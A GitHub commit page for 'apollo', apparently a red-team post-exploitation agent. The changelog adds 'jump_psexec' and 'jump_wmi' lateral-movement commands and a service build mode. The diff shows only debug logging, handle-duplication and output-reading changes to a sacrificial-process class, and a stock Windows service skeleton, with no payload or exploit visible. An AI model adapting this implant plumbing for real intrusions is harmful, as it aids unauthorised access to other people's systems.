Skip to content

Commit

Permalink
jump_psexec and jump_wmi updates
Browse files Browse the repository at this point in the history
new build mode for Service
  • Loading branch information
its-a-feature committed Oct 4, 2024
1 parent 7d454e8 commit e50ff56
Show file tree
Hide file tree
Showing 18 changed files with 1,093 additions and 86 deletions.
9 changes: 9 additions & 0 deletions Payload_Type/apollo/CHANGELOG.MD
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,15 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [v2.2.16] - 2024-10-03

### Changed

- updated `jump_wmi` command
- added `jump_psexec` command
- added `Service` build option
- updated execute_assembly and sacrificial processes to hopefully capture more output consistently

## [v2.2.15] - 2024-09-27

### Changed
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
using ApolloInterop.Constants;
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Utils;
using System;
using System.IO.Pipes;

Expand Down Expand Up @@ -50,13 +51,15 @@ public void BeginRead(IPCData pd)
pd.Pipe.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
} catch (Exception ex)
{
DebugHelp.DebugWriteLine($"got exception for named pipe: {ex}");
isConnected = false;
}
}

if (!isConnected)
{
pd.Pipe.Close();
DebugHelp.DebugWriteLine($"disconnecting on named pipe");
OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State));
}
}
Expand All @@ -72,6 +75,7 @@ private void OnAsyncMessageReceived(IAsyncResult result)
OnMessageReceived(new NamedPipeMessageArgs(pd.Pipe, pd, pd.State));
} else
{
DebugHelp.DebugWriteLine($"closing pipe in OnAsyncMessageReceived with 0 bytesRead");
pd.Pipe.Close();
}
BeginRead(pd);
Expand All @@ -89,6 +93,7 @@ private void OnMessageReceived(NamedPipeMessageArgs args)

private void OnDisconnect(NamedPipeMessageArgs args)
{
DebugHelp.DebugWriteLine($"OnDisconnect");
Disconnect?.Invoke(this, args);
}
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -134,7 +134,7 @@ public static void Main(string[] args)
_cts.Cancel();

// Wait for the pipe client comms to finish
if (_clientConnectedTask is ST.Task task)
while (_clientConnectedTask is ST.Task task && !_clientConnectedTask.IsCompleted)
{
task.Wait(1000);
}
Expand Down
129 changes: 87 additions & 42 deletions Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs
Original file line number Diff line number Diff line change
Expand Up @@ -51,7 +51,8 @@ public enum LogonFlags

private CancellationTokenSource _cts = new CancellationTokenSource();

private SafeFileHandle hReadOut, hWriteOut, hReadErr, hWriteErr, hReadIn, hWriteIn, hDupWriteOut = new SafeFileHandle(IntPtr.Zero, true), hDupWriteErr = new SafeFileHandle(IntPtr.Zero, true);
private SafeFileHandle hReadOut, hWriteOut, hReadErr, hWriteErr, hReadIn, hWriteIn, hDupWriteOut = new SafeFileHandle(IntPtr.Zero, true);
private SafeFileHandle hDupWriteErr = new SafeFileHandle(IntPtr.Zero, true);
private IntPtr _unmanagedEnv;

#region Delegate Typedefs
Expand Down Expand Up @@ -228,7 +229,7 @@ public SacrificialProcess(
_pSetHandleInformation =
(SetHandleInformation)Marshal.GetDelegateForFunctionPointer(pSetHandleInfo,
typeof(SetHandleInformation));

_pUpdateProcThreadAttribute = (UpdateProcThreadAttribute)Marshal.GetDelegateForFunctionPointer(pUpdateProcThreadAttribute, typeof(UpdateProcThreadAttribute));
_pDeleteProcThreadAttributeList = (DeleteProcThreadAttributeList)Marshal.GetDelegateForFunctionPointer(pDeleteProcThreadAttributeList, typeof(DeleteProcThreadAttributeList));
#else
Expand All @@ -255,6 +256,15 @@ public SacrificialProcess(

~SacrificialProcess()
{
DebugHelp.DebugWriteLine($"hReadOut 0x{hReadOut.DangerousGetHandle():x}");
DebugHelp.DebugWriteLine($"hWriteOut 0x{hWriteOut.DangerousGetHandle():x}");
DebugHelp.DebugWriteLine($"hReadErr 0x{hReadErr.DangerousGetHandle():x}");
DebugHelp.DebugWriteLine($"hWriteErr 0x{hWriteErr.DangerousGetHandle():x}");
DebugHelp.DebugWriteLine($"hReadIn 0x{hReadIn.DangerousGetHandle():x}");
DebugHelp.DebugWriteLine($"hWriteIn 0x{hWriteIn.DangerousGetHandle():x}");
DebugHelp.DebugWriteLine($"hDupWriteOut 0x{hDupWriteOut.DangerousGetHandle():x}");
DebugHelp.DebugWriteLine($"hDupWriteErr 0x{hDupWriteErr.DangerousGetHandle():x}");
;
if (_startupInfoEx.lpAttributeList != IntPtr.Zero)
{
_pDeleteProcThreadAttributeList(_startupInfoEx.lpAttributeList);
Expand All @@ -265,7 +275,6 @@ public SacrificialProcess(
{
_pDestroyEnvironmentBlock(_unmanagedEnv);
}

if (Handle != IntPtr.Zero)
{
_pCloseHandle(Handle);
Expand Down Expand Up @@ -360,9 +369,9 @@ bool InitializeStartupEnvironment(IntPtr hToken)
DebugHelp.DebugWriteLine($"Running duplicate handles as: {WindowsIdentity.GetCurrent().Name}");
DebugHelp.DebugWriteLine("Duplicating handles");
//source process handle, source handle, target process handle, target handle, desired access, inherit handle, options
bRet = _pDuplicateHandle(currentProcHandle, hWriteOut, _hParentProc, ref hDupWriteOut, 0, true, DuplicateOptions.DuplicateCloseSource | DuplicateOptions.DuplicateSameAccess);
bRet = _pDuplicateHandle(currentProcHandle, hWriteOut, _hParentProc, ref hDupWriteOut, 0, true, DuplicateOptions.DuplicateSameAccess);
DebugHelp.DebugWriteLine($"Duplicated StdOut handle normal: {bRet}");
bRet = _pDuplicateHandle(currentProcHandle, hWriteErr, _hParentProc, ref hDupWriteErr, 0, true, DuplicateOptions.DuplicateCloseSource | DuplicateOptions.DuplicateSameAccess);
bRet = _pDuplicateHandle(currentProcHandle, hWriteErr, _hParentProc, ref hDupWriteErr, 0, true, DuplicateOptions.DuplicateSameAccess);
DebugHelp.DebugWriteLine($"Duplicated StdErr handle normal: {bRet}");
}
catch (Exception ex)
Expand Down Expand Up @@ -560,103 +569,139 @@ private void PostStartupInitialize()
{
Handle = _processInfo.hProcess;
PID = (uint)_processInfo.dwProcessId;
_standardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding);
_standardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding);
_standardInput = new StreamWriter(new FileStream(hWriteIn, FileAccess.Write), Console.InputEncoding);
//_standardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding);
//_standardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding);
//_standardInput = new StreamWriter(new FileStream(hWriteIn, FileAccess.Write), Console.InputEncoding);
}

private void WaitForExitAsync()
private async void WaitForExitAsync()
{
Task.Factory.StartNew(() =>
try
{
var stdOutTask = GetStdOutAsync();
var stdErrTask = GetStdErrAsync();
var waitExitForever = new Task(() =>
{
_pWaitForSingleObject(Handle, 0xFFFFFFFF);
});
stdOutTask.Start();
stdErrTask.Start();
waitExitForever.Start();
try
{
waitExitForever.Wait(_cts.Token);
}
catch (OperationCanceledException)
await Task.Factory.StartNew(() =>
{
//var stdOutTask = GetStdOutAsync();
//var stdErrTask = GetStdErrAsync();
//var waitExitForever = new Task(() =>
//{
// _pWaitForSingleObject(Handle, 0xFFFFFFFF);
//});
//stdOutTask.Start();
//stdErrTask.Start();
//waitExitForever.Start();
try
{
//waitExitForever.Wait(_cts.Token);
WaitHandle.WaitAny(new WaitHandle[]
{
_cts.Token.WaitHandle,
});
}
catch (OperationCanceledException)
{

}
finally
{
}
try
{
Task.WaitAll(new Task[]
{
//stdOutTask,
//stdErrTask
});
}
catch { }
OnExit(this, null);
}
Task.WaitAll(new Task[]
{
stdOutTask,
stdErrTask
});
});
}
catch(Exception ex)
{
DebugHelp.DebugWriteLine($"Error getting output. {ex}");
}

}

private IEnumerable<string> ReadStream(TextReader stream)
{
string output = "";
int szBuffer = 4096;
int szBuffer = 20;
int bytesRead = 0;
char[] tmp;
bool needsBreak = false;

while (!_cts.IsCancellationRequested && !HasExited)
do
{
char[] buf = new char[szBuffer];
bytesRead = 0;
try
{
bytesRead = stream.Read(buf, 0, szBuffer);
}
catch { bytesRead = 0; }
DebugHelp.DebugWriteLine($"About to call stream.Read");
Task<int> readTask = stream.ReadAsync(buf, 0, szBuffer);
Task.WaitAny(new Task[]
{
readTask,
}, _cts.Token);
if (readTask.IsCompleted)
{
bytesRead = readTask.Result;
}
//bytesRead = stream.Read(buf, 0, szBuffer);

}
catch (Exception ex)
{
DebugHelp.DebugWriteLine($"Error calling stream.Read. {ex}, {bytesRead}");
}
DebugHelp.DebugWriteLine("Finished stream.Read.");
if (bytesRead > 0)
{
tmp = new char[bytesRead];
Array.Copy(buf, tmp, bytesRead);
output = new string(tmp);
yield return output;
}
}
} while (!_cts.IsCancellationRequested);

output = "";
try
{
output = stream.ReadToEnd();
DebugHelp.DebugWriteLine("About to call stream.ReadToEnd.");
//output = stream.ReadToEnd();
}
catch { }
if (!string.IsNullOrEmpty(output))
{
yield return output;
}

DebugHelp.DebugWriteLine("Returning from ReadStream.");
yield break;
}

private Task GetStdOutAsync()
{
return new Task(() =>
{
DebugHelp.DebugWriteLine("Starting GetStdOutAsync.");
foreach (string s in ReadStream(_standardOutput))
{
StdOut += s;
DebugHelp.DebugWriteLine("Got Data on GetStdOutAsync.");
OnOutputDataReceived(this, new StringDataEventArgs(s));
}
DebugHelp.DebugWriteLine("Finished GetStdOutAsync.");
});
}

private Task GetStdErrAsync()
{
return new Task(() =>
{
DebugHelp.DebugWriteLine("Starting GetStdErrAsync.");
foreach (string s in ReadStream(_standardError))
{
StdErr += s;
DebugHelp.DebugWriteLine("Got Data on GetStdErrAsync.");
OnErrorDataRecieved(this, new StringDataEventArgs(s));
}
DebugHelp.DebugWriteLine("Finished GetStdErrAsync.");
});
}

Expand Down
28 changes: 28 additions & 0 deletions Payload_Type/apollo/apollo/agent_code/Service/WindowsService1.sln
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 17.8.34525.116
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WindowsService1", "WindowsService1\WindowsService1.csproj", "{0405205C-C2A0-4F9A-A221-48B5C70DF3B6}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Debug|Any CPU.Build.0 = Debug|Any CPU
{0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Release|Any CPU.ActiveCfg = Release|Any CPU
{0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Release|Any CPU.Build.0 = Release|Any CPU
{0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Release|x64.ActiveCfg = Release|x64
{0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {C5331E46-D53B-4B47-942A-343CB750F8BB}
EndGlobalSection
EndGlobal
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.ServiceProcess;
using System.Text;

namespace WindowsService1
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
static void Main()
{
ServiceBase[] ServicesToRun;
ServicesToRun = new ServiceBase[]
{
new Service1()
};
ServiceBase.Run(ServicesToRun);
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("WindowsService1")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("WindowsService1")]
[assembly: AssemblyCopyright("Copyright © 2020")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]

// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]

// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("0405205c-c2a0-4f9a-a221-48b5c70df3b6")]

// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
Loading

0 comments on commit e50ff56

Please sign in to comment.